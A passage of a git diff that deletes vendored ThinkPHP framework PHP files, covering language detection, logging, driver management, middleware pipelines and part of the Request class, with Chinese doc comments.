($replace as &$v) { - $v = "{:{$v}}"; - } - $value = str_replace($replace, $vars, $value); - } - } - - return $value; - } - - /** - * 自动侦测设置获取语言选择 - * @access public - * @param Request $request - * @return string - */ - public function detect(Request $request): string - { - // 自动侦测设置获取语言选择 - $langSet = ''; - - if ($request->get($this->config['detect_var'])) { - // url中设置了语言变量 - $langSet = strtolower($request->get($this->config['detect_var'])); - } elseif ($request->header($this->config['header_var'])) { - // Header中设置了语言变量 - $langSet = strtolower($request->header($this->config['header_var'])); - } elseif ($request->cookie($this->config['cookie_var'])) { - // Cookie中设置了语言变量 - $langSet = strtolower($request->cookie($this->config['cookie_var'])); - } elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) { - // 自动侦测浏览器语言 - $match = preg_match('/^([a-z\d\-]+)/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches); - if ($match) { - $langSet = strtolower($matches[1]); - if (isset($this->config['accept_language'][$langSet])) { - $langSet = $this->config['accept_language'][$langSet]; - } - } - } - - if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) { - // 合法的语言 - $this->range = $langSet; - } - - return $this->range; - } - - /** - * 保存当前语言到Cookie - * @access public - * @param Cookie $cookie Cookie对象 - * @return void - */ - public function saveToCookie(Cookie $cookie) - { - if ($this->config['use_cookie']) { - $cookie->set($this->config['cookie_var'], $this->range); - } - } - -} diff --git a/vendor/topthink/framework/src/think/Log.php b/vendor/topthink/framework/src/think/Log.php deleted file mode 100644 index e9031c7..0000000 --- a/vendor/topthink/framework/src/think/Log.php +++ /dev/null @@ -1,342 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use InvalidArgumentException; -use Psr\Log\LoggerInterface; -use think\event\LogWrite; -use think\helper\Arr; -use think\log\Channel; -use think\log\ChannelSet; - -/** - * 日志管理类 - * @package think - * @mixin Channel - */ -class Log extends Manager implements LoggerInterface -{ - const EMERGENCY = 'emergency'; - const ALERT = 'alert'; - const CRITICAL = 'critical'; - const ERROR = 'error'; - const WARNING = 'warning'; - const NOTICE = 'notice'; - const INFO = 'info'; - const DEBUG = 'debug'; - const SQL = 'sql'; - - protected $namespace = '\\think\\log\\driver\\'; - - /** - * 默认驱动 - * @return string|null - */ - public function getDefaultDriver() - { - return $this->getConfig('default'); - } - - /** - * 获取日志配置 - * @access public - * @param null|string $name 名称 - * @param mixed $default 默认值 - * @return mixed - */ - public function getConfig(string $name = null, $default = null) - { - if (!is_null($name)) { - return $this->app->config->get('log.' . $name, $default); - } - - return $this->app->config->get('log'); - } - - /** - * 获取渠道配置 - * @param string $channel - * @param null $name - * @param null $default - * @return array - */ - public function getChannelConfig($channel, $name = null, $default = null) - { - if ($config = $this->getConfig("channels.{$channel}")) { - return Arr::get($config, $name, $default); - } - - throw new InvalidArgumentException("Channel [$channel] not found."); - } - - /** - * driver()的别名 - * @param string|array $name 渠道名 - * @return Channel|ChannelSet - */ - public function channel($name = null) - { - if (is_array($name)) { - return new ChannelSet($this, $name); - } - - return $this->driver($name); - } - - protected function resolveType(string $name) - { - return $this->getChannelConfig($name, 'type', 'file'); - } - - public function createDriver(string $name) - { - $driver = parent::createDriver($name); - - $lazy = !$this->getChannelConfig($name, "realtime_write", false) && !$this->app->runningInConsole(); - $allow = array_merge($this->getConfig("level", []), $this->getChannelConfig($name, "level", [])); - - return new Channel($name, $driver, $allow, $lazy, $this->app->event); - } - - protected function resolveConfig(string $name) - { - return $this->getChannelConfig($name); - } - - /** - * 清空日志信息 - * @access public - * @param string|array $channel 日志通道名 - * @return $this - */ - public function clear($channel = '*') - { - if ('*' == $channel) { - $channel = array_keys($this->drivers); - } - - $this->channel($channel)->clear(); - - return $this; - } - - /** - * 关闭本次请求日志写入 - * @access public - * @param string|array $channel 日志通道名 - * @return $this - */ - public function close($channel = '*') - { - if ('*' == $channel) { - $channel = array_keys($this->drivers); - } - - $this->channel($channel)->close(); - - return $this; - } - - /** - * 获取日志信息 - * @access public - * @param string $channel 日志通道名 - * @return array - */ - public function getLog(string $channel = null): array - { - return $this->channel($channel)->getLog(); - } - - /** - * 保存日志信息 - * @access public - * @return bool - */ - public function save(): bool - { - /** @var Channel $channel */ - foreach ($this->drivers as $channel) { - $channel->save(); - } - - return true; - } - - /** - * 记录日志信息 - * @access public - * @param mixed $msg 日志信息 - * @param string $type 日志级别 - * @param array $context 替换内容 - * @param bool $lazy - * @return $this - */ - public function record($msg, string $type = 'info', array $context = [], bool $lazy = true) - { - $channel = $this->getConfig('type_channel.' . $type); - - $this->channel($channel)->record($msg, $type, $context, $lazy); - - return $this; - } - - /** - * 实时写入日志信息 - * @access public - * @param mixed $msg 调试信息 - * @param string $type 日志级别 - * @param array $context 替换内容 - * @return $this - */ - public function write($msg, string $type = 'info', array $context = []) - { - return $this->record($msg, $type, $context, false); - } - - /** - * 注册日志写入事件监听 - * @param $listener - * @return Event - */ - public function listen($listener) - { - return $this->app->event->listen(LogWrite::class, $listener); - } - - /** - * 记录日志信息 - * @access public - * @param string $level 日志级别 - * @param mixed $message 日志信息 - * @param array $context 替换内容 - * @return void - */ - public function log($level, $message, array $context = []): void - { - $this->record($message, $level, $context); - } - - /** - * 记录emergency信息 - * @access public - * @param mixed $message 日志信息 - * @param array $context 替换内容 - * @return void - */ - public function emergency($message, array $context = []): void - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * 记录警报信息 - * @access public - * @param mixed $message 日志信息 - * @param array $context 替换内容 - * @return void - */ - public function alert($message, array $context = []): void - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * 记录紧急情况 - * @access public - * @param mixed $message 日志信息 - * @param array $context 替换内容 - * @return void - */ - public function critical($message, array $context = []): void - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * 记录错误信息 - * @access public - * @param mixed $message 日志信息 - * @param array $context 替换内容 - * @return void - */ - public function error($message, array $context = []): void - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * 记录warning信息 - * @access public - * @param mixed $message 日志信息 - * @param array $context 替换内容 - * @return void - */ - public function warning($message, array $context = []): void - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * 记录notice信息 - * @access public - * @param mixed $message 日志信息 - * @param array $context 替换内容 - * @return void - */ - public function notice($message, array $context = []): void - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * 记录一般信息 - * @access public - * @param mixed $message 日志信息 - * @param array $context 替换内容 - * @return void - */ - public function info($message, array $context = []): void - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * 记录调试信息 - * @access public - * @param mixed $message 日志信息 - * @param array $context 替换内容 - * @return void - */ - public function debug($message, array $context = []): void - { - $this->log(__FUNCTION__, $message, $context); - } - - /** - * 记录sql信息 - * @access public - * @param mixed $message 日志信息 - * @param array $context 替换内容 - * @return void - */ - public function sql($message, array $context = []): void - { - $this->log(__FUNCTION__, $message, $context); - } - - public function __call($method, $parameters) - { - $this->log($method, ...$parameters); - } -} diff --git a/vendor/topthink/framework/src/think/Manager.php b/vendor/topthink/framework/src/think/Manager.php deleted file mode 100644 index 741f702..0000000 --- a/vendor/topthink/framework/src/think/Manager.php +++ /dev/null @@ -1,177 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use InvalidArgumentException; -use think\helper\Str; - -abstract class Manager -{ - /** @var App */ - protected $app; - - /** - * 驱动 - * @var array - */ - protected $drivers = []; - - /** - * 驱动的命名空间 - * @var string - */ - protected $namespace = null; - - public function __construct(App $app) - { - $this->app = $app; - } - - /** - * 获取驱动实例 - * @param null|string $name - * @return mixed - */ - protected function driver(string $name = null) - { - $name = $name ?: $this->getDefaultDriver(); - - if (is_null($name)) { - throw new InvalidArgumentException(sprintf( - 'Unable to resolve NULL driver for [%s].', - static::class - )); - } - - return $this->drivers[$name] = $this->getDriver($name); - } - - /** - * 获取驱动实例 - * @param string $name - * @return mixed - */ - protected function getDriver(string $name) - { - return $this->drivers[$name] ?? $this->createDriver($name); - } - - /** - * 获取驱动类型 - * @param string $name - * @return mixed - */ - protected function resolveType(string $name) - { - return $name; - } - - /** - * 获取驱动配置 - * @param string $name - * @return mixed - */ - protected function resolveConfig(string $name) - { - return $name; - } - - /** - * 获取驱动类 - * @param string $type - * @return string - */ - protected function resolveClass(string $type): string - { - if ($this->namespace || false !== strpos($type, '\\')) { - $class = false !== strpos($type, '\\') ? $type : $this->namespace . Str::studly($type); - - if (class_exists($class)) { - return $class; - } - } - - throw new InvalidArgumentException("Driver [$type] not supported."); - } - - /** - * 获取驱动参数 - * @param $name - * @return array - */ - protected function resolveParams($name): array - { - $config = $this->resolveConfig($name); - return [$config]; - } - - /** - * 创建驱动 - * - * @param string $name - * @return mixed - * - */ - protected function createDriver(string $name) - { - $type = $this->resolveType($name); - - $method = 'create' . Str::studly($type) . 'Driver'; - - $params = $this->resolveParams($name); - - if (method_exists($this, $method)) { - return $this->$method(...$params); - } - - $class = $this->resolveClass($type); - - return $this->app->invokeClass($class, $params); - } - - /** - * 移除一个驱动实例 - * - * @param array|string|null $name - * @return $this - */ - public function forgetDriver($name = null) - { - $name = $name ?? $this->getDefaultDriver(); - - foreach ((array) $name as $cacheName) { - if (isset($this->drivers[$cacheName])) { - unset($this->drivers[$cacheName]); - } - } - - return $this; - } - - /** - * 默认驱动 - * @return string|null - */ - abstract public function getDefaultDriver(); - - /** - * 动态调用 - * @param string $method - * @param array $parameters - * @return mixed - */ - public function __call($method, $parameters) - { - return $this->driver()->$method(...$parameters); - } -} diff --git a/vendor/topthink/framework/src/think/Middleware.php b/vendor/topthink/framework/src/think/Middleware.php deleted file mode 100644 index 0868fb2..0000000 --- a/vendor/topthink/framework/src/think/Middleware.php +++ /dev/null @@ -1,257 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use Closure; -use InvalidArgumentException; -use LogicException; -use think\exception\Handle; -use Throwable; - -/** - * 中间件管理类 - * @package think - */ -class Middleware -{ - /** - * 中间件执行队列 - * @var array - */ - protected $queue = []; - - /** - * 应用对象 - * @var App - */ - protected $app; - - public function __construct(App $app) - { - $this->app = $app; - } - - /** - * 导入中间件 - * @access public - * @param array $middlewares - * @param string $type 中间件类型 - * @return void - */ - public function import(array $middlewares = [], string $type = 'global'): void - { - foreach ($middlewares as $middleware) { - $this->add($middleware, $type); - } - } - - /** - * 注册中间件 - * @access public - * @param mixed $middleware - * @param string $type 中间件类型 - * @return void - */ - public function add($middleware, string $type = 'global'): void - { - $middleware = $this->buildMiddleware($middleware, $type); - - if (!empty($middleware)) { - $this->queue[$type][] = $middleware; - $this->queue[$type] = array_unique($this->queue[$type], SORT_REGULAR); - } - } - - /** - * 注册路由中间件 - * @access public - * @param mixed $middleware - * @return void - */ - public function route($middleware): void - { - $this->add($middleware, 'route'); - } - - /** - * 注册控制器中间件 - * @access public - * @param mixed $middleware - * @return void - */ - public function controller($middleware): void - { - $this->add($middleware, 'controller'); - } - - /** - * 注册中间件到开始位置 - * @access public - * @param mixed $middleware - * @param string $type 中间件类型 - */ - public function unshift($middleware, string $type = 'global') - { - $middleware = $this->buildMiddleware($middleware, $type); - - if (!empty($middleware)) { - if (!isset($this->queue[$type])) { - $this->queue[$type] = []; - } - - array_unshift($this->queue[$type], $middleware); - } - } - - /** - * 获取注册的中间件 - * @access public - * @param string $type 中间件类型 - * @return array - */ - public function all(string $type = 'global'): array - { - return $this->queue[$type] ?? []; - } - - /** - * 调度管道 - * @access public - * @param string $type 中间件类型 - * @return Pipeline - */ - public function pipeline(string $type = 'global') - { - return (new Pipeline()) - ->through(array_map(function ($middleware) { - return function ($request, $next) use ($middleware) { - [$call, $params] = $middleware; - if (is_array($call) && is_string($call[0])) { - $call = [$this->app->make($call[0]), $call[1]]; - } - $response = call_user_func($call, $request, $next, ...$params); - - if (!$response instanceof Response) { - throw new LogicException('The middleware must return Response instance'); - } - return $response; - }; - }, $this->sortMiddleware($this->queue[$type] ?? []))) - ->whenException([$this, 'handleException']); - } - - /** - * 结束调度 - * @param Response $response - */ - public function end(Response $response) - { - foreach ($this->queue as $queue) { - foreach ($queue as $middleware) { - [$call] = $middleware; - if (is_array($call) && is_string($call[0])) { - $instance = $this->app->make($call[0]); - if (method_exists($instance, 'end')) { - $instance->end($response); - } - } - } - } - } - - /** - * 异常处理 - * @param Request $passable - * @param Throwable $e - * @return Response - */ - public function handleException($passable, Throwable $e) - { - /** @var Handle $handler */ - $handler = $this->app->make(Handle::class); - - $handler->report($e); - - return $handler->render($passable, $e); - } - - /** - * 解析中间件 - * @access protected - * @param mixed $middleware - * @param string $type 中间件类型 - * @return array - */ - protected function buildMiddleware($middleware, string $type): array - { - if (is_array($middleware)) { - [$middleware, $params] = $middleware; - } - - if ($middleware instanceof Closure) { - return [$middleware, $params ?? []]; - } - - if (!is_string($middleware)) { - throw new InvalidArgumentException('The middleware is invalid'); - } - - //中间件别名检查 - $alias = $this->app->config->get('middleware.alias', []); - - if (isset($alias[$middleware])) { - $middleware = $alias[$middleware]; - } - - if (is_array($middleware)) { - $this->import($middleware, $type); - return []; - } - - return [[$middleware, 'handle'], $params ?? []]; - } - - /** - * 中间件排序 - * @param array $middlewares - * @return array - */ - protected function sortMiddleware(array $middlewares) - { - $priority = $this->app->config->get('middleware.priority', []); - uasort($middlewares, function ($a, $b) use ($priority) { - $aPriority = $this->getMiddlewarePriority($priority, $a); - $bPriority = $this->getMiddlewarePriority($priority, $b); - return $bPriority - $aPriority; - }); - - return $middlewares; - } - - /** - * 获取中间件优先级 - * @param $priority - * @param $middleware - * @return int - */ - protected function getMiddlewarePriority($priority, $middleware) - { - [$call] = $middleware; - if (is_array($call) && is_string($call[0])) { - $index = array_search($call[0], array_reverse($priority)); - return false === $index ? -1 : $index; - } - return -1; - } - -} diff --git a/vendor/topthink/framework/src/think/Pipeline.php b/vendor/topthink/framework/src/think/Pipeline.php deleted file mode 100644 index 73036f3..0000000 --- a/vendor/topthink/framework/src/think/Pipeline.php +++ /dev/null @@ -1,107 +0,0 @@ - -// +---------------------------------------------------------------------- -namespace think; - -use Closure; -use Exception; -use Throwable; - -class Pipeline -{ - protected $passable; - - protected $pipes = []; - - protected $exceptionHandler; - - /** - * 初始数据 - * @param $passable - * @return $this - */ - public function send($passable) - { - $this->passable = $passable; - return $this; - } - - /** - * 调用栈 - * @param $pipes - * @return $this - */ - public function through($pipes) - { - $this->pipes = is_array($pipes) ? $pipes : func_get_args(); - return $this; - } - - /** - * 执行 - * @param Closure $destination - * @return mixed - */ - public function then(Closure $destination) - { - $pipeline = array_reduce( - array_reverse($this->pipes), - $this->carry(), - function ($passable) use ($destination) { - try { - return $destination($passable); - } catch (Throwable | Exception $e) { - return $this->handleException($passable, $e); - } - } - ); - - return $pipeline($this->passable); - } - - /** - * 设置异常处理器 - * @param callable $handler - * @return $this - */ - public function whenException($handler) - { - $this->exceptionHandler = $handler; - return $this; - } - - protected function carry() - { - return function ($stack, $pipe) { - return function ($passable) use ($stack, $pipe) { - try { - return $pipe($passable, $stack); - } catch (Throwable | Exception $e) { - return $this->handleException($passable, $e); - } - }; - }; - } - - /** - * 异常处理 - * @param $passable - * @param $e - * @return mixed - */ - protected function handleException($passable, Throwable $e) - { - if ($this->exceptionHandler) { - return call_user_func($this->exceptionHandler, $passable, $e); - } - throw $e; - } - -} diff --git a/vendor/topthink/framework/src/think/Request.php b/vendor/topthink/framework/src/think/Request.php deleted file mode 100644 index 0181ab8..0000000 --- a/vendor/topthink/framework/src/think/Request.php +++ /dev/null @@ -1,2149 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use ArrayAccess; -use think\file\UploadedFile; -use think\route\Rule; - -/** - * 请求管理类 - * @package think - */ -class Request implements ArrayAccess -{ - /** - * 兼容PATH_INFO获取 - * @var array - */ - protected $pathinfoFetch = ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL']; - - /** - * PATHINFO变量名 用于兼容模式 - * @var string - */ - protected $varPathinfo = 's'; - - /** - * 请求类型 - * @var string - */ - protected $varMethod = '_method'; - - /** - * 表单ajax伪装变量 - * @var string - */ - protected $varAjax = '_ajax'; - - /** - * 表单pjax伪装变量 - * @var string - */ - protected $varPjax = '_pjax'; - - /** - * 域名根 - * @var string - */ - protected $rootDomain = ''; - - /** - * HTTPS代理标识 - * @var string - */ - protected $httpsAgentName = ''; - - /** - * 前端代理服务器IP - * @var array - */ - protected $proxyServerIp = []; - - /** - * 前端代理服务器真实IP头 - * @var array - */ - protected $proxyServerIpHeader = ['HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_CLIENT_IP', 'HTTP_X_CLIENT_IP', 'HTTP_X_CLUSTER_CLIENT_IP']; - - /** - * 请求类型 - * @var string - */ - protected $method; - - /** - * 域名(含协议及端口) - * @var string - */ - protected $domain; - - /** - * HOST(含端口) - * @var string - */ - protected $host; - - /** - * 子域名 - * @var string - */ - protected $subDomain; - - /** - * 泛域名 - * @var string - */ - protected $panDomain; - - /** - * 当前URL地址 - * @var string - */ - protected $url; - - /** - * 基础URL - * @var string - */ - protected $baseUrl; - - /** - * 当前执行的文件 - * @var string - */ - protected $baseFile; - - /** - * 访问的ROOT地址 - * @var string - */ - protected $root; - - /** - * pathinfo - * @var string - */ - protected $pathinfo; - - /** - * pathinfo(不含后缀) - * @var string - */ - protected $path; - - /** - * 当前请求的IP地址 - * @var string - */ - protected $realIP; - - /** - * 当前控制器名 - * @var string - */ - protected $controller; - - /** - * 当前操作名 - * @var string - */ - protected $action; - - /** - * 当前请求参数 - * @var array - */ - protected $param = []; - - /** - * 当前GET参数 - * @var array - */ - protected $get = []; - - /** - * 当前POST参数 - * @var array - */ - protected $post = []; - - /** - * 当前REQUEST参数 - * @var array - */ - protected $request = []; - - /** - * 当前路由对象 - * @var Rule - */ - protected $rule; - - /** - * 当前ROUTE参数 - * @var array - */ - protected $route = []; - - /** - * 中间件传递的参数 - * @var array - */ - protected $middleware = []; - - /** - * 当前PUT参数 - * @var array - */ - protected $put; - - /** - * SESSION对象 - * @var Session - */ - protected $session; - - /** - * COOKIE数据 - * @var array - */ - protected $cookie = []; - - /** - * ENV对象 - * @var Env - */ - protected $env; - - /** - * 当前SERVER参数 - * @var array - */ - protected $server = []; - - /** - * 当前FILE参数 - * @var array - */ - protected $file = []; - - /** - * 当前HEADER参数 - * @var array - */ - protected $header = []; - - /** - * 资源类型定义 - * @var array - */ - protected $mimeType = [ - 'xml' => 'application/xml,text/xml,application/x-xml', - 'json' => 'application/json,text/x-json,application/jsonrequest,text/json', - 'js' => 'text/javascript,application/javascript,application/x-javascript', - 'css' => 'text/css', - 'rss' => 'application/rss+xml', - 'yaml' => 'application/x-yaml,text/yaml', - 'atom' => 'application/atom+xml', - 'pdf' => 'application/pdf', - 'text' => 'text/plain', - 'image' => 'image/png,image/jpg,image/jpeg,image/pjpeg,image/gif,image/webp,image/*', - 'csv' => 'text/csv', - 'html' => 'text/html,application/xhtml+xml,*/*', - ]; - - /** - * 当前请求内容 - * @var string - */ - protected $content; - - /** - * 全局过滤规则 - * @var array - */ - protected $filter; - - /** - * php://input内容 - * @var string - */ - // php://input - protected $input; - - /** - * 请求安全Key - * @var string - */ - protected $secureKey; - - /** - * 是否合并Param - * @var bool - */ - protected $mergeParam = false; - - /** - * 架构函数 - * @access public - */ - public function __construct() - { - // 保存 php://input - $this->input = file_get_contents('php://input'); - } - - public static function __make(App $app) - { - $request = new static(); - - if (function_exists('apache_request_headers') && $result = apache_request_headers()) { - $header = $result; - } else { - $header = []; - $server = $_SERVER; - foreach ($server as $key => $val) { - if (0 === strpos($key, 'HTTP_')) { - $key = str_replace('_', '-', strtolower(substr($key, 5))); - $header[$key] = $val; - } - } - if (isset($server['CONTENT_TYPE'])) { - $header['content-type'] = $server['CONTENT_TYPE']; - } - if (isset($server['CONTENT_LENGTH'])) { - $header['content-length'] = $server['CONTENT_LENGTH']; - } - } - - $request->header = array_change_key_case($header); - $request->server = $_SERVER; - $request->env = $app->env; - - $inputData = $request->getInputData($request->input); - - $request->get = $_GET; - $request->post = $_POST ?: $inputData; - $request->put = $inputData; - $request->request = $_REQUEST; - $request->cookie = $_COOKIE; - $request->file = $_FILES ?? []; - - return $request; - } - - /** - * 设置当前包含协议的域名 - * @access public - * @param string $domain 域名 - * @return $this - */ - public function setDomain(string $domain) - { - $this->domain = $domain; - return $this; - } - - /** - * 获取当前包含协议的域名 - * @access public - * @param bool $port 是否需要去除端口号 - * @return string - */ - public function domain(bool $port = false): string - { - return $this->scheme() . '://' . $this->host($port); - } - - /** - * 获取当前根域名 - * @access public - * @return string - */ - public function rootDomain(): string - { - $root = $this->rootDomain; - - if (!$root) { - $item = explode('.', $this->host()); - $count = count($item); - $root = $count > 1 ? $item[$count - 2] . '.' . $item[$count - 1] : $item[0]; - } - - return $root; - } - - /** - * 设置当前泛域名的值 - * @access public - * @param string $domain 域名 - * @return $this - */ - public function setSubDomain(string $domain) - { - $this->subDomain = $domain; - return $this; - } - - /** - * 获取当前子域名 - * @access public - * @return string - */ - public function subDomain(): string - { - if (is_null($this->subDomain)) { - // 获取当前主域名 - $rootDomain = $this->rootDomain(); - - if ($rootDomain) { - $this->subDomain = rtrim(stristr($this->host(), $rootDomain, true), '.'); - } else { - $this->subDomain = ''; - } - } - - return $this->subDomain; - } - - /** - * 设置当前泛域名的值 - * @access public - * @param string $domain 域名 - * @return $this - */ - public function setPanDomain(string $domain) - { - $this->panDomain = $domain; - return $this; - } - - /** - * 获取当前泛域名的值 - * @access public - * @return string - */ - public function panDomain(): string - { - return $this->panDomain ?: ''; - } - - /** - * 设置当前完整URL 包括QUERY_STRING - * @access public - * @param string $url URL地址 - * @return $this - */ - public function setUrl(string $url) - { - $this->url = $url; - return $this; - } - - /** - * 获取当前完整URL 包括QUERY_STRING - * @access public - * @param bool $complete 是否包含完整域名 - * @return string - */ - public function url(bool $complete = false): string - { - if ($this->url) { - $url = $this->url; - } elseif ($this->server('HTTP_X_REWRITE_URL')) { - $url = $this->server('HTTP_X_REWRITE_URL'); - } elseif ($this->server('REQUEST_URI')) { - $url = $this->server('REQUEST_URI'); - } elseif ($this->server('ORIG_PATH_INFO')) { - $url = $this->server('ORIG_PATH_INFO') . (!empty($this->server('QUERY_STRING')) ? '?' . $this->server('QUERY_STRING') : ''); - } elseif (isset($_SERVER['argv'][1])) { - $url = $_SERVER['argv'][1]; - } else { - $url = ''; - } - - return $complete ? $this->domain() . $url : $url; - } - - /** - * 设置当前URL 不含QUERY_STRING - * @access public - * @param string $url URL地址 - * @return $this - */ - public function setBaseUrl(string $url) - { - $this->baseUrl = $url; - return $this; - } - - /** - * 获取当前URL 不含QUERY_STRING - * @access public - * @param bool $complete 是否包含完整域名 - * @return string - */ - public function baseUrl(bool $complete = false): string - { - if (!$this->baseUrl) { - $str = $this->url(); - $this->baseUrl = strpos($str, '?') ? strstr($str, '?', true) : $str; - } - - return $complete ? $this->domain() . $this->baseUrl : $this->baseUrl; - } - - /** - * 获取当前执行的文件 SCRIPT_NAME - * @access public - * @param bool $complete 是否包含完整域名 - * @return string - */ - public function baseFile(bool $complete = false): string - { - if (!$this->baseFile) { - $url = ''; - if (!$this->isCli()) { - $script_name = basename($this->server('SCRIPT_FILENAME')); - if (basename($this->server('SCRIPT_NAME')) === $script_name) { - $url = $this->server('SCRIPT_NAME'); - } elseif (basename($this->server('PHP_SELF')) === $script_name) { - $url = $this->server('PHP_SELF'); - } elseif (basename($this->server('ORIG_SCRIPT_NAME')) === $script_name) { - $url = $this->server('ORIG_SCRIPT_NAME'); - } elseif (($pos = strpos($this->server('PHP_SELF'), '/' . $script_name)) !== false) { - $url = substr($this->server('SCRIPT_NAME'), 0, $pos) . '/' . $script_name; - } elseif ($this->server('DOCUMENT_ROOT') && strpos($this->server('SCRIPT_FILENAME'), $this->server('DOCUMENT_ROOT')) === 0) { - $url = str_replace('\\', '/', str_replace($this->server('DOCUMENT_ROOT'), '', $this->server('SCRIPT_FILENAME'))); - } - } - $this->baseFile = $url; - } - - return $complete ? $this->domain() . $this->baseFile : $this->baseFile; - } - - /** - * 设置URL访问根地址 - * @access public - * @param string $url URL地址 - * @return $this - */ - public function setRoot(string $url) - { - $this->root = $url; - return $this; - } - - /** - * 获取URL访问根地址 - * @access public - * @param bool $complete 是否包含完整域名 - * @return string - */ - public function root(bool $complete = false): string - { - if (!$this->root) { - $file = $this->baseFile(); - if ($file && 0 !== strpos($this->url(), $file)) { - $file = str_replace('\\', '/', dirname($file)); - } - $this->root = rtrim($file, '/'); - } - - return $complete ? $this->domain() . $this->root : $this->root; - } - - /** - * 获取URL访问根目录 - * @access public - * @return string - */ - public function rootUrl(): string - { - $base = $this->root(); - $root = strpos($base, '.') ? ltrim(dirname($base), DIRECTORY_SEPARATOR) : $base; - - if ('' != $root) { - $root = '/' . ltrim($root, '/'); - } - - return $root; - } - - /** - * 设置当前请求的pathinfo - * @access public - * @param string $pathinfo - * @return $this - */ - public function setPathinfo(string $pathinfo) - { - $this->pathinfo = $pathinfo; - return $this; - } - - /** - * 获取当前请求URL的pathinfo信息(含URL后缀) - * @access public - * @return string - */ - public function pathinfo(): string - { - if (is_null($this->pathinfo)) { - if (isset($_GET[$this->varPathinfo])) { - // 判断URL里面是否有兼容模式参数 - $pathinfo = $_GET[$this->varPathinfo]; - unset($_GET[$this->varPathinfo]); - unset($this->get[$this->varPathinfo]); - } elseif ($this->server('PATH_INFO')) { - $pathinfo = $this->server('PATH_INFO'); - } elseif (false !== strpos(PHP_SAPI, 'cli')) { - $pathinfo = strpos($this->server('REQUEST_URI'), '?') ? strstr($this->server('REQUEST_URI'), '?', true) : $this->server('REQUEST_URI'); - } - - // 分析PATHINFO信息 - if (!isset($pathinfo)) { - foreach ($this->pathinfoFetch as $type) { - if ($this->server($type)) { - $pathinfo = (0 === strpos($this->server($type), $this->server('SCRIPT_NAME'))) ? - substr($this->server($type), strlen($this->server('SCRIPT_NAME'))) : $this->server($type); - break; - } - } - } - - if (!empty($pathinfo)) { - unset($this->get[$pathinfo], $this->request[$pathinfo]); - } - - $this->pathinfo = empty($pathinfo) || '/' == $pathinfo ? '' : ltrim($pathinfo, '/'); - } - - return $this->pathinfo; - } - - /** - * 当前URL的访问后缀 - * @access public - * @return string - */ - public function ext(): string - { - return pathinfo($this->pathinfo(), PATHINFO_EXTENSION); - } - - /** - * 获取当前请求的时间 - * @access public - * @param bool $float 是否使用浮点类型 - * @return integer|float - */ - public function time(bool $float = false) - { - return $float ? $this->server('REQUEST_TIME_FLOAT') : $this->server('REQUEST_TIME'); - } - - /** - * 当前请求的资源类型 - * @access public - * @return string - */ - public function type(): string - { - $accept = $this->server('HTTP_ACCEPT'); - - if (empty($accept)) { - return ''; - } - - foreach ($this->mimeType as $key => $val) { - $array = explode(',', $val); - foreach ($array as $k => $v) { - if (stristr($accept, $v)) { - return $key; - } - } - } - - return ''; - } - - /** - * 设置资源类型 - * @access public - * @param string|array $type 资源类型名 - * @param string $val 资源类型 - * @return void - */ - public function mimeType($type, $val = ''): void - { - if (is_array($type)) { - $this->mimeType = array_merge($this->mimeType, $type); - } else { - $this->mimeType[$type] = $val; - } - } - - /** - * 设置请求类型 - * @access public - * @param string $method 请求类型 - * @return $this - */ - public function setMethod(string $method) - { - $this->method = strtoupper($method); - return $this; - } - - /** - * 当前的请求类型 - * @access public - * @param bool $origin 是否获取原始请求类型 - * @return string - */ - public function method(bool $origin = false): string - { - if ($origin) { - // 获取原始请求类型 - return $this->server('REQUEST_METHOD') ?: 'GET'; - } elseif (!$this->method) { - if (isset($this->post[$this->varMethod])) { - $method = strtolower($this->post[$this->varMethod]); - if (in_array($method, ['get', 'post', 'put', 'patch', 'delete'])) { - $this->method = strtoupper($method); - $this->{$method} = $this->post; - } else { - $this->method = 'POST'; - } - unset($this->post[$this->varMethod]); - } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) { - $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')); - } else { - $this->method = $this->server('REQUEST_METHOD') ?: 'GET'; - } - } - - return $this->method; - } - - /** - * 是否为GET请求 - * @access public - * @return bool - */ - public function isGet(): bool - { - return $this->method() == 'GET'; - } - - /** - * 是否为POST请求 - * @access public - * @return bool - */ - public function isPost(): bool - { - return $this->method() == 'POST'; - } - - /** - * 是否为PUT请求 - * @access public - * @return bool - */ - public function isPut(): bool - { - return $this->method() == 'PUT'; - } - - /** - * 是否为DELTE请求 - * @access public - * @return bool - */ - public function isDelete(): bool - { - return $this->method() == 'DELETE'; - } - - /** - * 是否为HEAD请求 - * @access public - * @return bool - */ - public function isHead(): bool - { - return $this->method() == 'HEAD'; - } - - /** - * 是否为PATCH请求 - * @access public - * @return bool - */ - public function isPatch(): bool - { - return $this->method() == 'PATCH'; - } - - /** - * 是否为OPTIONS请求 - * @access public - * @return bool - */ - public function isOptions(): bool - { - return $this->method() == 'OPTIONS'; - } - - /** - * 是否为cli - * @access public - * @return bool - */ - public function isCli(): bool - { - return PHP_SAPI == 'cli'; - } - - /** - * 是否为cgi - * @access public - * @return bool - */ - public function isCgi(): bool - { - return strpos(PHP_SAPI, 'cgi') === 0; - } - - /** - * 获取当前请求的参数 - * @access public - * @param string|array $name 变量名 - * @param mixed $default 默认值 - * @param string|array $filter 过滤方法 - * @return mixed - */ - public function param($name = '', $default = null, $filter = '') - { - if (empty($this->mergeParam)) { - $method = $this->method(true); - - // 自动获取请求变量 - switch ($method) { - case 'POST': - $vars = $this->post(false); - break; - case 'PUT': - case 'DELETE': - case 'PATCH': - $vars = $this->put(false); - break; - default: - $vars = []; - } - - // 